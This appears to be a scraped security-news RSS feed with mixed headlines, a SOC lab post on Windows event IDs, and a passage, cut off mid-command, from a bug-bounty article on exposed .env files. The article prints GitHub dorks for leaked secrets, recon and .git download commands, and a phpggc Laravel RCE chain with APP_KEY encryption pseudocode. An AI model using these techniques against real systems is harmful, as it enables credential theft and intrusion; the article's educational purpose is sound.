<description><![CDATA[Unternehmen reagieren mit Passkey-Pflicht und strengeren Sicherheitsma&szlig;nahmen. Borncity Redaktion &bull; Heute, 13:01 Uhr. ClickFix-Welle: Hacker nutzen KI&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573431/IT+Sicherheit/Hacker/ClickFix-Welle%3A+Hacker+nutzen+KI-Tools+als+K%C3%B6der+f%C3%BCr+Trojaner+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573431/IT+Sicherheit/Hacker/ClickFix-Welle%3A+Hacker+nutzen+KI-Tools+als+K%C3%B6der+f%C3%BCr+Trojaner+-+BornCity/</guid>
<pubDate>Thu, 04 Jun 2026 13:03:16 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Endlich Baubeginn: Ein Tag zum Jubeln für das Gymnasium Röthenbach]]></title> 
<description><![CDATA[... Hacker und Michael Schmidt, etliche Kreisr&auml;te. &copy; Katja J&auml;kel. Viel Spa&szlig; hatten die B&uuml;rgermeister Thomas Lang, Klaus Hacker und Michael Schmidt&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573430/IT+Sicherheit/Hacker/Endlich+Baubeginn%3A+Ein+Tag+zum+Jubeln+f%C3%BCr+das+Gymnasium+R%C3%B6thenbach/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573430/IT+Sicherheit/Hacker/Endlich+Baubeginn%3A+Ein+Tag+zum+Jubeln+f%C3%BCr+das+Gymnasium+R%C3%B6thenbach/</guid>
<pubDate>Thu, 04 Jun 2026 15:02:34 +0200</pubDate>
</item>
<item> 
<title><![CDATA[So schmeckt's im "Restaurant Simon" im 19. Bezirk - Wien - Kurier]]></title> 
<description><![CDATA[Ein gro&szlig;es Talent im Verborgenen? Herbert Hacker &uuml;ber das eigenwillige &quot;Restaurant Simon&quot;. ]]></description>
<link>https://tsecurity.de/de/3573429/IT+Sicherheit/Hacker/So+schmeckt%27s+im+%22Restaurant+Simon%22+im+19.+Bezirk+-+Wien+-+Kurier/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573429/IT+Sicherheit/Hacker/So+schmeckt%27s+im+%22Restaurant+Simon%22+im+19.+Bezirk+-+Wien+-+Kurier/</guid>
<pubDate>Thu, 04 Jun 2026 16:31:18 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Bund warnt vor neuer Masche Der Betrug mit der «pausierten Busse - Blick]]></title> 
<description><![CDATA[Hacker haben es dank Phishing einfach. 2:04. &laquo;Es kann jeden treffen&raquo;:Hacker haben es dank Phishing einfach. Das falsche E-Mail wirkte fast&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573428/IT+Sicherheit/Hacker/Bund+warnt+vor+neuer+Masche+Der+Betrug+mit+der+%C2%ABpausierten+Busse+-+Blick/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573428/IT+Sicherheit/Hacker/Bund+warnt+vor+neuer+Masche+Der+Betrug+mit+der+%C2%ABpausierten+Busse+-+Blick/</guid>
<pubDate>Thu, 04 Jun 2026 16:39:16 +0200</pubDate>
</item>
<item> 
<title><![CDATA[So will das Pirmasenser Krankenhaus Cyberangriffe künftig verhindern - Pirmasens - Die Rheinpfalz]]></title> 
<description><![CDATA[Dienstleister, mit deren IT das Krankenhaus eine bidirektionale Schnittstelle hat, m&uuml;ssen besonders gesichert sein: Denn sollten Hacker ins&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573427/IT+Sicherheit/Hacker/So+will+das+Pirmasenser+Krankenhaus+Cyberangriffe+k%C3%BCnftig+verhindern+-+Pirmasens+-+Die+Rheinpfalz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573427/IT+Sicherheit/Hacker/So+will+das+Pirmasenser+Krankenhaus+Cyberangriffe+k%C3%BCnftig+verhindern+-+Pirmasens+-+Die+Rheinpfalz/</guid>
<pubDate>Thu, 04 Jun 2026 17:03:52 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Microsoft Teams-Angriffe: Hacker infiltrieren Unternehmen in 20 Minuten - Ad-hoc-news.de]]></title> 
<description><![CDATA[Die Schadsoftware Nimbus RAT wird in unter 20 Minuten installiert. Neue Angriffswelle: Hacker kapern Firmen via Teams und Google Drive. Microsoft -&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573426/IT+Sicherheit/Hacker/Microsoft+Teams-Angriffe%3A+Hacker+infiltrieren+Unternehmen+in+20+Minuten+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573426/IT+Sicherheit/Hacker/Microsoft+Teams-Angriffe%3A+Hacker+infiltrieren+Unternehmen+in+20+Minuten+-+Ad-hoc-news.de/</guid>
<pubDate>Thu, 04 Jun 2026 17:59:45 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Kinderfoto-Plattform gehackt – So ist die Region Braunschweig betroffen | regionalHeute.de]]></title> 
<description><![CDATA[Hacker haben sich Zugang zu einer Online-L&ouml;sung verschafft, die auch ein Studio nutzt, das in Schulen und Kinderg&auml;rten unserer Region aktiv ist. ]]></description>
<link>https://tsecurity.de/de/3573425/IT+Sicherheit/Hacker/Kinderfoto-Plattform+gehackt+%E2%80%93+So+ist+die+Region+Braunschweig+betroffen+%7C+regionalHeute.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573425/IT+Sicherheit/Hacker/Kinderfoto-Plattform+gehackt+%E2%80%93+So+ist+die+Region+Braunschweig+betroffen+%7C+regionalHeute.de/</guid>
<pubDate>Thu, 04 Jun 2026 18:40:29 +0200</pubDate>
</item>
<item> 
<title><![CDATA[„Moodle“ gehackt: 40.000 Studenten der Saar-Uni betroffen - Saarbrücker Zeitung]]></title> 
<description><![CDATA[Ein Hacker verschaffte sich Zugang zu Daten von mehr als 40.000 Studierenden der Universit&auml;t des Saarlandes und versuchte, die Uni zu erpressen. ]]></description>
<link>https://tsecurity.de/de/3573424/IT+Sicherheit/Hacker/%E2%80%9EMoodle%E2%80%9C+gehackt%3A+40.000+Studenten+der+Saar-Uni+betroffen+-+Saarbr%C3%BCcker+Zeitung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573424/IT+Sicherheit/Hacker/%E2%80%9EMoodle%E2%80%9C+gehackt%3A+40.000+Studenten+der+Saar-Uni+betroffen+-+Saarbr%C3%BCcker+Zeitung/</guid>
<pubDate>Thu, 04 Jun 2026 18:49:24 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Elke Hacker vom TuS 08 Lintorf (Foto: privat)]]></title> 
<description><![CDATA[Elke Hacker vom TuS 08 Lintorf (Foto: privat). Elke Hacker vom TuS 08 Lintorf (Foto: privat). Vorheriger &middot; N&auml;chster. Werbung. Folge uns bei Facebook&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573215/IT+Sicherheit/Hacker/Elke+Hacker+vom+TuS+08+Lintorf+%28Foto%3A+privat%29/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573215/IT+Sicherheit/Hacker/Elke+Hacker+vom+TuS+08+Lintorf+%28Foto%3A+privat%29/</guid>
<pubDate>Wed, 03 Jun 2026 12:36:58 +0200</pubDate>
</item>
<item> 
<title><![CDATA[VPN und drei Sätze genügen: Das Instagram-Hack-Desaster von Meta]]></title> 
<description><![CDATA[Metas KI-Chatbot sollte Instagram-Nutzern helfen &ndash; stattdessen lieferte er monatelang Accounts an Hacker aus. Mit VPN und simplen Befehlen lie&szlig;en&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573087/IT+Sicherheit/Hacker/VPN+und+drei+S%C3%A4tze+gen%C3%BCgen%3A+Das+Instagram-Hack-Desaster+von+Meta/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573087/IT+Sicherheit/Hacker/VPN+und+drei+S%C3%A4tze+gen%C3%BCgen%3A+Das+Instagram-Hack-Desaster+von+Meta/</guid>
<pubDate>Wed, 03 Jun 2026 13:05:02 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Critical Cisco Unified CM Bug Patched as Public Exploit Code Emerges]]></title> 
<description><![CDATA[Cisco patched a critical Unified CM flaw with public PoC code that allows unauthenticated attackers to launch SSRF attacks remotely. Cisco has addressed a high-severity vulnerability, tracked as CVE-2026-20230, affecting Unified CM and Unified CM SME. The flaw, caused by improper validation of certain HTTP requests, allows a remote attacker without authentication to perform server-side [&hellip;] ]]></description>
<link>https://tsecurity.de/de/3572732/IT+Sicherheit/Hacker/Critical+Cisco+Unified+CM+Bug+Patched+as+Public+Exploit+Code+Emerges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572732/IT+Sicherheit/Hacker/Critical+Cisco+Unified+CM+Bug+Patched+as+Public+Exploit+Code+Emerges/</guid>
<pubDate>Thu, 04 Jun 2026 15:10:12 +0200</pubDate>
</item>
<item> 
<title><![CDATA[The 5 coolest gadgets I saw at Computex 2026 (that you can eventually buy)]]></title> 
<description><![CDATA[At Computex 2026, Nvidia announced its RTX Spark processor, launching a wave of new high-performance ultrabooks. ]]></description>
<link>https://tsecurity.de/de/3572691/IT+Sicherheit/Hacker/The+5+coolest+gadgets+I+saw+at+Computex+2026+%28that+you+can+eventually+buy%29/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572691/IT+Sicherheit/Hacker/The+5+coolest+gadgets+I+saw+at+Computex+2026+%28that+you+can+eventually+buy%29/</guid>
<pubDate>Thu, 04 Jun 2026 15:04:17 +0200</pubDate>
</item>
<item> 
<title><![CDATA[True-Crime-Hackathon: Zivilisten sollen ungelöste Kriminalfälle knacken - TAG24]]></title> 
<description><![CDATA[Der Begriff &quot;Hackathon&quot; stammt aus der IT-Branche und ist eine Kombination aus &quot;Hacking&quot; und &quot;Marathon&quot;. Zumeist arbeiten Menschen mit&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3572475/IT+Sicherheit/Hacker/True-Crime-Hackathon%3A+Zivilisten+sollen+ungel%C3%B6ste+Kriminalf%C3%A4lle+knacken+-+TAG24/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572475/IT+Sicherheit/Hacker/True-Crime-Hackathon%3A+Zivilisten+sollen+ungel%C3%B6ste+Kriminalf%C3%A4lle+knacken+-+TAG24/</guid>
<pubDate>Thu, 04 Jun 2026 11:58:42 +0200</pubDate>
</item>
<item> 
<title><![CDATA[GPT-5.5 dominiert KI-Hacking-Test für €1.300 – während Gemini die Mitarbeit komplett verweigert]]></title> 
<description><![CDATA[Ein Sicherheitsforscher investierte 1.500 US-Dollar (etwa 1.300 Euro), um mehr als 13 KI-Modelle gegen eine absichtlich sicherheitsanf&auml;llige App&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3572474/IT+Sicherheit/Hacker/GPT-5.5+dominiert+KI-Hacking-Test+f%C3%BCr+%E2%82%AC1.300+%E2%80%93+w%C3%A4hrend+Gemini+die+Mitarbeit+komplett+verweigert/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572474/IT+Sicherheit/Hacker/GPT-5.5+dominiert+KI-Hacking-Test+f%C3%BCr+%E2%82%AC1.300+%E2%80%93+w%C3%A4hrend+Gemini+die+Mitarbeit+komplett+verweigert/</guid>
<pubDate>Thu, 04 Jun 2026 12:30:23 +0200</pubDate>
</item>
<item> 
<title><![CDATA[I found the best early Prime Day Apple deals: MacBooks, iPads, AirPods, and more]]></title> 
<description><![CDATA[Save on top Apple devices with these early Prime Day deals, hand-selected by our reviewers. ]]></description>
<link>https://tsecurity.de/de/3572127/IT+Sicherheit/Hacker/I+found+the+best+early+Prime+Day+Apple+deals%3A+MacBooks%2C+iPads%2C+AirPods%2C+and+more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572127/IT+Sicherheit/Hacker/I+found+the+best+early+Prime+Day+Apple+deals%3A+MacBooks%2C+iPads%2C+AirPods%2C+and+more/</guid>
<pubDate>Thu, 04 Jun 2026 12:00:39 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Researcher Drops a New VS Code Zero-Day After Losing Trust in Microsoft’s Disclosure Process]]></title> 
<description><![CDATA[A researcher publicly released a VS Code exploit within hours, citing past disputes with Microsoft over bug handling. The security researcher Ammar Askar found a new serious zero-day in Visual Studio Code, told a contact at GitHub about it, and published a working exploit one hour later. &ldquo;Just by clicking a link, it&rsquo;s possible for [&hellip;] ]]></description>
<link>https://tsecurity.de/de/3572023/IT+Sicherheit/Hacker/Researcher+Drops+a+New+VS+Code+Zero-Day+After+Losing+Trust+in+Microsoft%E2%80%99s+Disclosure+Process/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572023/IT+Sicherheit/Hacker/Researcher+Drops+a+New+VS+Code+Zero-Day+After+Losing+Trust+in+Microsoft%E2%80%99s+Disclosure+Process/</guid>
<pubDate>Thu, 04 Jun 2026 11:13:29 +0200</pubDate>
</item>
<item> 
<title><![CDATA[5 Windows Event IDs Every SOC Analyst Should Know (With Real Lab Evidence)]]></title> 
<description><![CDATA[These aren&rsquo;t just numbers from a study guide &mdash; they&rsquo;re the fingerprints attackers leave behind. Here&rsquo;s what each one looks like inside a real&nbsp;SIEM.By Ronak Mishra &middot; Security+ Certified &middot; Wazuh Home&nbsp;LabMost cybersecurity courses hand you a list of Windows Event IDs and tell you to memorize them. What they don&rsquo;t show you is what these events actually look like when they fire &mdash; the raw fields, the timestamps, the account names, the parent processes.I set up a home lab running Wazuh SIEM connected to a Windows 11 agent and deliberately triggered each of these events to see exactly what gets captured. Every screenshot in this post is from that lab. No stock images, no theory &mdash; just real detections.Here are the 5 event IDs that matter most when something bad is happening on a Windows&nbsp;machine.Event ID 4625 Failed logon&nbsp;attempt&ldquo;An attacker is outside your network trying passwords one by one, hoping something works. This is what it looks like inside your SIEM before they get&nbsp;in.&rdquo;Event ID 4625 fires every time a Windows logon attempt fails. One or two of these is completely normal &mdash; people mistype passwords. But when you see a cluster of them hitting in rapid succession targeting the same account, that&rsquo;s a brute force attack in progress.The fields that matter most: targetUserName (who they&rsquo;re targeting), subStatus (why it failed), and logonType (how they&rsquo;re trying to get in). SubStatus code 0xc0000064 means the targeted user doesn&rsquo;t even exist &mdash; a classic sign of username enumeration before a brute&nbsp;force.I simulated this by running repeated failed logon attempts against a non-existent account called &ldquo;fakeuser&rdquo; on my Windows 11 VM. Here&rsquo;s what Wazuh captured:12 failed logon attempts against a non-existent user, captured in Wazuh in under 2 minutes. The spike on the right shows the exact moment the attempts were&nbsp;made.Expanding one of those alerts reveals exactly what happened at the field level &mdash; the targeted account name, the failure reason code, and the plain-English confirmation from Windows&nbsp;itself:subStatus 0xc0000064 confirms the targeted account doesn&rsquo;t exist. The event ID 4625 is highlighted in yellow by Wazuh &mdash; and Windows confirms it in plain English at the&nbsp;bottom.Event ID 4688 New process&nbsp;created&ldquo;Malware can&rsquo;t do anything without running a process. This event fires the moment something executes &mdash; including the tools attackers use to steal credentials or move through a network.&rdquo;Every time a new process starts on Windows, Event ID 4688 fires &mdash; if process creation auditing is enabled. The key isn&rsquo;t just what process ran, it&rsquo;s what spawned it. The parent-child relationship tells the real&nbsp;story.A legitimate user opening Notepad looks completely different from malware spawning PowerShell from inside a Word document. In an attack scenario, watch for: PowerShell or cmd spawned by Office applications, encoded command line arguments, or executables running from temp&nbsp;folders.I triggered this by launching cmd, PowerShell, and Notepad from my Windows VM. Wazuh captured 345 process creation events &mdash; the spike you see in the chart is the exact moment those commands&nbsp;ran:345 process creation events captured &mdash; the spike at 20:29 is when the test commands executed. Row 1 shows Notepad being spawned by Notepad itself, row 2 shows PowerShell as the parent&nbsp;process.The expanded view shows the full execution chain in one log entry &mdash; exactly what process ran, what launched it, and who triggered it:newProcessName shows what ran. parentProcessName shows PowerShell launched it. In a real attack this parent-child chain is where you catch malicious execution.Event ID 4720 User account&nbsp;created&ldquo;The attacker is already inside. Now they&rsquo;re creating a backdoor account so they can return even if their original access gets cut&nbsp;off.&rdquo;Event ID 4720 fires whenever a new local or domain user account is created. In a normal environment this should be rare and expected &mdash; IT provisioning a new employee, for example. If you see this event at 2am, created by a non-admin process, with no change ticket backing it up, that&rsquo;s a persistence mechanism being installed.This maps directly to MITRE ATT&amp;CK T1136 &mdash; Create Account. It&rsquo;s one of the most reliable persistence indicators in Windows environments because attackers almost always need a fallback entry&nbsp;point.I created a test account called &ldquo;testattacker&rdquo; using PowerShell to simulate this. Wazuh caught it immediately &mdash; a single isolated event with zero noise around&nbsp;it:1 hit. That&rsquo;s it. One account creation event isolated at 20:37 &mdash; both samAccountName and targetUserName confirm the backdoor account name: testattacker.The expanded view shows every detail Wazuh captured &mdash; the account name, who created it, and the event ID confirmed in&nbsp;yellow:samAccountName and targetUserName both show testattacker. subjectUserName shows ronakmishra &mdash; the account that created it. Event ID 4720 highlighted in yellow by&nbsp;Wazuh.Event ID 4663 File or object&nbsp;accessed&ldquo;Ransomware touches hundreds of files in seconds. A credential-stealing tool targets one specific file. Either way &mdash; this event is watching.&rdquo;Event ID 4663 logs access attempts to specific files and folders when auditing is enabled. In Wazuh, the File Integrity Monitoring module captures this same behavior in real time &mdash; logging every file that gets created, modified, or deleted in monitored directories, including SHA1 and MD5 hashes before and after so you can prove exactly what&nbsp;changed.Ransomware behavior looks like hundreds of these events firing in rapid sequence across multiple directories. A targeted attack looks like one precise access to a credential store or sensitive config file. Volume and pattern are everything.My Wazuh FIM is running in realtime mode on monitored directories. I created a file called &ldquo;you are hacked.txt&rdquo; to trigger it deliberately. Here&rsquo;s what got captured the moment that file was&nbsp;created:Wazuh FIM detected the file in real time &mdash; path, user, SHA1 hash, and permissions all captured the moment it appeared. The filename makes the scenario&nbsp;obvious.How to think about these as a SOC&nbsp;analystKnowing what each event ID means in isolation is only half the skill. The real work is correlation &mdash; one event rarely tells the full story. Here&rsquo;s how these connect in real attack scenarios:Multiple 4625s from one source followed by a 4624 right after &mdash; brute force that succeeded4688 showing PowerShell spawned by an Office application &mdash; likely a phishing payload executing4720 outside business hours with no change ticket &mdash; unauthorized persistence attemptHundreds of 4663s firing across many files in under 30 seconds &mdash; ransomware encryption in&nbsp;progressThat pattern &mdash; two or more signals, a time window, a threshold &mdash; is the foundation of detection engineering. It&rsquo;s what separates someone who reads logs from someone who builds detection rules. And it&rsquo;s exactly the thinking SOC roles are looking for in interviews.I&rsquo;m building out more detection scenarios in my home lab and documenting everything as I go &mdash; Wazuh, Splunk, MITRE ATT&amp;CK mapping, and more. If you&rsquo;re on the same path &mdash; studying for CySA+, building your first SIEM lab, or working toward your first SOC role &mdash; feel free to connect on LinkedIn. Always good to compare notes with people actually doing the&nbsp;work.5 Windows Event IDs Every SOC Analyst Should Know (With Real Lab Evidence) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3571869/IT+Sicherheit/Hacker/5+Windows+Event+IDs+Every+SOC+Analyst+Should+Know+%28With+Real+Lab+Evidence%29/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571869/IT+Sicherheit/Hacker/5+Windows+Event+IDs+Every+SOC+Analyst+Should+Know+%28With+Real+Lab+Evidence%29/</guid>
<pubDate>Thu, 04 Jun 2026 10:15:45 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Frontend Security & Bug Hunting: The .env File Crisis and Real-World Exploitation]]></title> 
<description><![CDATA[The&nbsp;.env file is simultaneously one of the most convenient and most dangerous patterns in modern web development. The data is clear: over 12 million exposed files, 28 million credentials leaked on GitHub in 2025 alone, and 110,000 domains compromised in a single extortion campaign.For bug bounty hunters,&nbsp;.env exposure remains one of the highest-impact, lowest-effort findings. The methodology is straightforward: subdomain enumeration, content discovery, GitHub dorking, and source map analysis. The payoff can be complete database access, cloud account takeover, or Remote Code Execution.For developers and security teams, the solution requires a cultural shift: treat&nbsp;.env files as explosive devices, move secrets out of configuration files entirely, use short-lived credentials, block hidden files at the server level, and scan everything -- including AI-generated code -- before it reaches production.Frontend Security &amp; Bug Hunting: The&nbsp;.env File Crisis and Real-World ExploitationPart I: The&nbsp;.env File Crisis &mdash; Why 12 Million Exposed Files Should Terrify&nbsp;YouThe Anatomy of a&nbsp;.env&nbsp;FileThe&nbsp;.env file is the silent backbone of modern web application configuration. It stores environment variables in a simple KEY=VALUE format and is consumed by frameworks like Laravel, Django, Ruby on Rails, Symfony, and countless Node.js applications at startup. The problem is not the concept -- it is how these files are handled, deployed, and (mis)protected.A typical&nbsp;.env file might&nbsp;contain:DB_HOST=production-db.internal.corp.comDB_DATABASE=main_productionDB_USERNAME=rootDB_PASSWORD=Str0ng!Passw0rdAPP_KEY=base64:abcdef1234567890abcdef1234567890AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLEAWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEYSTRIPE_SECRET=sk_live_4eC39HqLyjWDarjtT1zdp7dcREDIS_HOST=127.0.0.1REDIS_PASSWORD=secretMAIL_USERNAME=admin@corp.comMAIL_PASSWORD=smtp_password_hereOne file. One misconfiguration. Total compromise.The 2024 Unit 42 Campaign: Scale of the&nbsp;ProblemIn August 2024, Palo Alto Networks&rsquo; Unit 42 uncovered a massive cloud extortion campaign that directly exploited exposed&nbsp;.env files. The numbers are staggering:110,000 domains scanned for exposed&nbsp;.env&nbsp;files90,000+ unique leaked environment variables harvested7,000+ cloud service credentials (AWS, Azure, GCP, DigitalOcean)1,500+ social media account credentials1,185 unique AWS access&nbsp;keys333 PayPal OAuth&nbsp;tokens235 GitHub&nbsp;tokens111 HubSpot API&nbsp;keys39 Slack&nbsp;webhooksThe attack chain was elegant and terrifying:Scan &mdash; Automated internet-wide scanning using malicious AWS Lambda functions, iterating over millions of domains with curl requests to http:///.envHarvest &mdash; Extract all environment variables from accessible&nbsp;.env&nbsp;filesEscalate &mdash; Use exposed IAM access keys to create new IAM roles with administrative permissionsPropagate &mdash; Deploy new Lambda functions to continue scanning from within the victim&rsquo;s own cloud infrastructureExfiltrate &mdash; Steal data from S3 buckets and other cloud&nbsp;storageExtort &mdash; Leave ransom notes threatening to sell the data on the dark&nbsp;webSource: Unit 42 &mdash; Large-Scale Cloud Extortion OperationThe 2026 Security Affairs Study: 12 Million&nbsp;FilesFast forward to February 2026: Security Affairs reported that researchers had identified over 12 million exposed&nbsp;.env files across the internet. The primary exposure&nbsp;vectors:Web server misconfiguration &mdash; No rule blocking hidden files (files starting with a dot). Simply visiting https://example.com/.env returns the entire&nbsp;file.Reverse proxies forwarding sensitive paths &mdash; Nginx or Apache misconfigured to serve static files from the project&nbsp;root.Container images embedding secrets &mdash; Dockerfiles using COPY&nbsp;.&nbsp;. which includes&nbsp;.env in the image&nbsp;layers.Forgotten backup files &mdash; .env.bak,&nbsp;.env.old,&nbsp;.env.save, env.txt left in web-accessible directories.Git repository exposure &mdash; The&nbsp;.env file committed to source control, then the repo made public or accessed via exposed&nbsp;.git directories.Part II: Real-World Bug Hunting with&nbsp;.env&nbsp;FilesCase Study 1: Azure Subdomain&nbsp;.env DisclosureSource: Infosec Writeups / Bug Bounty&nbsp;ProgramA bug bounty hunter was conducting reconnaissance on a target and discovered a subdomain that appeared to be running Laravel. Using ffuf for content discovery, they ran a wordlist against the subdomain:ffuf -u https://target-subdomain.azurewebsites.net/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txtThe scan returned a 200 OK for /.env -- but accessing it directly returned a 403 Forbidden. The hunter noticed something critical: the CNAME record pointed to *.azurewebsites.com, and while the main domain had restrictions, the underlying Azure-hosted subdomain did&nbsp;not.By accessing the raw Azure endpoint URL, the&nbsp;.env file was fully readable, revealing:DB_CONNECTION=mysqlDB_HOST=internal-db.mysql.database.azure.comDB_PORT=3306DB_DATABASE=production_dbDB_USERNAME=adminDB_PASSWORD=P@ssw0rd!MAIL_HOST=smtp.sendgrid.netMAIL_USERNAME=apikeyMAIL_PASSWORD=SG.xxxxxxxxxxxxxxxxImpact: Database credentials + SMTP API key for SendGrid. With these, the hunter could have dumped the entire production database and sent phishing emails as the legitimate domain.Case Study 2: Laravel APP_KEY to RCE&nbsp;ChainSource: Multiple researchers (Mogwai Labs, Ghostable, Stratosally)This is one of the most dangerous exploitation chains in the Laravel ecosystem. The&nbsp;.env file contains APP_KEY, which is the cryptographic backbone of the entire Laravel application. It is used for encrypting cookies, session data, and serialized objects.The vulnerability: Laravel&rsquo;s Crypt::decrypt() function uses PHP&#039;s unserialize() under the hood. If an attacker has the APP_KEY, they can craft a malicious encrypted payload that, when decrypted, triggers PHP object injection leading to Remote Code Execution.The exploitation chain:Discover the APP_KEY &mdash; Find it in an exposed&nbsp;.env file, or via GitHub dorking (filename:.env APP_KEY).Use phpggc &mdash; The PHP Generic Gadget Chains tool (phpggc) generates gadget chains for&nbsp;Laravel.# Clone phpggcgit clone https://github.com/ambionics/phpggccd phpggc# Generate a Laravel RCE gadget chainphp phpggc Laravel/RCE1 system &#039;id&#039; --base643. Encrypt with the APP_KEY &mdash; The attacker encrypts the malicious payload using the stolen&nbsp;APP_KEY:# Pseudocode for encrypting with the leaked APP_KEY$payload = base64_decode(&#039;&#039;);$key = base64_decode(substr(&#039;base64:abcdef1234567890abcdef1234567890&#039;, 7));$iv = random_bytes(16);$encrypted = openssl_encrypt($payload, &#039;aes-256-cbc&#039;, $key, OPENSSL_RAW_DATA, $iv);$final = base64_encode($iv . $encrypted);4. Deliver the payload &mdash; Send the encrypted value as a Laravel session cookie or any other decrypted input.5. RCE &mdash; Laravel decrypts the payload, PHP unserializes it, and the attacker&rsquo;s command executes.Real-world impact: In 2025, researchers found hundreds of Laravel APP_KEY values leaked on GitHub. Tools like phpggc make weaponization trivial. The attacker does not need SQL injection or file upload -- just one exposed&nbsp;.env&nbsp;file.Case Study 3: GitHub Dorking for&nbsp;.env Files at&nbsp;ScaleSource: Multiple bug bounty&nbsp;huntersAdvanced GitHub dorking is one of the most productive techniques for finding exposed&nbsp;.env files. The key operators:# Find all .env files across all public repositoriesfilename:.env# Find .env files in a specific organizationorg:targetcompany filename:.env# Find .env files containing specific sensitive keysfilename:.env &quot;AWS_ACCESS_KEY_ID&quot;filename:.env &quot;DB_PASSWORD&quot;filename:.env &quot;STRIPE_SECRET&quot;filename:.env &quot;APP_KEY&quot;# Find .env files mentioning a specific domain&quot;target.com&quot; filename:.env# Combined: target company .env with API keysorg:targetcompany filename:.env (&quot;API_KEY&quot; OR &quot;SECRET&quot; OR &quot;PASSWORD&quot;)# Search for config files broadlyfilename:.env &quot;production&quot; AND (&quot;sk_live&quot; OR &quot;AKIA&quot; OR &quot;service_role&quot;)Pro tip from hunters: Combine with extension: and path: operators:# Search specific pathspath:config filename:.envpath:laravel filename:.env# Search for backup variantsfilename:.env.bakfilename:.env.oldfilename:.env.localfilename:.env.productionThe Snyk 2025 State of Secrets Report revealed that 28 million credentials were leaked on GitHub in 2025 alone, with&nbsp;.env files being one of the top&nbsp;sources.Case Study 4: Exposed Source Maps Leading to Stripe Secret&nbsp;KeysSource: Sentry Security Blog / Prodefense.ioA bug bounty hunter discovered that a target website had accidentally deployed JavaScript source maps to production. Source maps (.map files) are used during development to map minified JavaScript back to original source code for debugging.The attacker used Sourcemapper (a tool that reconstructs original source from&nbsp;.map&nbsp;files):# Install sourcemapperpip install sourcemapper# Download and reconstruct source from an exposed source mapsourcemapper -url https://target.com/assets/js/app.js.map -output ./reconstructed/Inside the reconstructed source code, the hunter&nbsp;found:// Original source code exposedconst stripe = require(&#039;stripe&#039;);const stripeClient = new stripe(&#039;sk_live_4eC39HqLyjWDarjtT1zdp7dc&#039;);// Internal API endpointsconst adminApi = &#039;https://internal-admin.target.com/api/v2/&#039;;const deleteUserEndpoint = `${adminApi}users/delete/`;Impact: The Stripe live secret key (starting with sk_live_) allowed the attacker to make unauthorized charges, refunds, and access all customer payment data. The exposed admin API endpoints opened the door for further exploitation.Case Study 5: Exposed&nbsp;.git Directory &mdash; Full Source Code in Version Control&nbsp;HistorySource: PortSwigger Web Security Academy / NCSC SwitzerlandA production server had its&nbsp;.git directory publicly accessible. The&nbsp;.git folder contains the complete version control history of the project, including every file that was ever committed -- even files that were later deleted or whose secrets were &quot;removed&quot; in subsequent commits.# Recursively download the entire .git directory from the live serverwget -r https://target.com/.git/# Check the Git log for secrets that were &quot;removed&quot;git log -p | grep -E &#039;password|secret|key|token|AKIA&#039;The NCSC Switzerland audit found 1,300 affected systems in Switzerland alone where&nbsp;.git folders were publicly accessible, exposing source code, access data, and passwords.Real bug bounty example: A hunter found that a target&rsquo;s&nbsp;.git directory was browsable. Running git log --diff revealed a commit message: &quot;Remove admin password from config&quot;. The diff showed the previous version of the config file with the hardcoded admin password still in Git&nbsp;history:git show # Output:# - ADMIN_PASSWORD=SuperSecretPass123!# + ADMIN_PASSWORD=${ADMIN_PASSWORD_ENV}The password was removed from the current file but remained forever in Git history. The hunter logged in as administrator and completely took over the application.Part III: Advanced Reconnaissance &amp; Hunting MethodologyPhase 1: Subdomain EnumerationBefore you can find exposed files, you need to know where to&nbsp;look.# Passive enumerationsubfinder -d target.com -o subdomains.txtamass enum -passive -d target.com -o amass.txtassetfinder --subs-only target.com &gt;&gt; subdomains.txt# Active enumerationffuf -u https://FUZZ.target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt# Certificate Transparencycurl -s &quot;https://crt.sh/?q=%25.target.com&amp;output=json&quot; | jq -r &#039;.[].name_value&#039; | sort -u# Combine and deduplicatecat subdomains.txt | sort -u | httpx -silent -o live_hosts.txtPhase 2: Content Discovery for&nbsp;.env&nbsp;Files# Using ffuf for .env file discoveryffuf -u https://target.com/FUZZ \  -w wordlist.txt \  -fc 403,404 \  -t 100# .env-specific wordlistecho &quot;.env.env.bak.env.old.env.save.env.local.env.production.env.developmentenv.txtenv.env.example&quot; &gt; env_wordlist.txt# 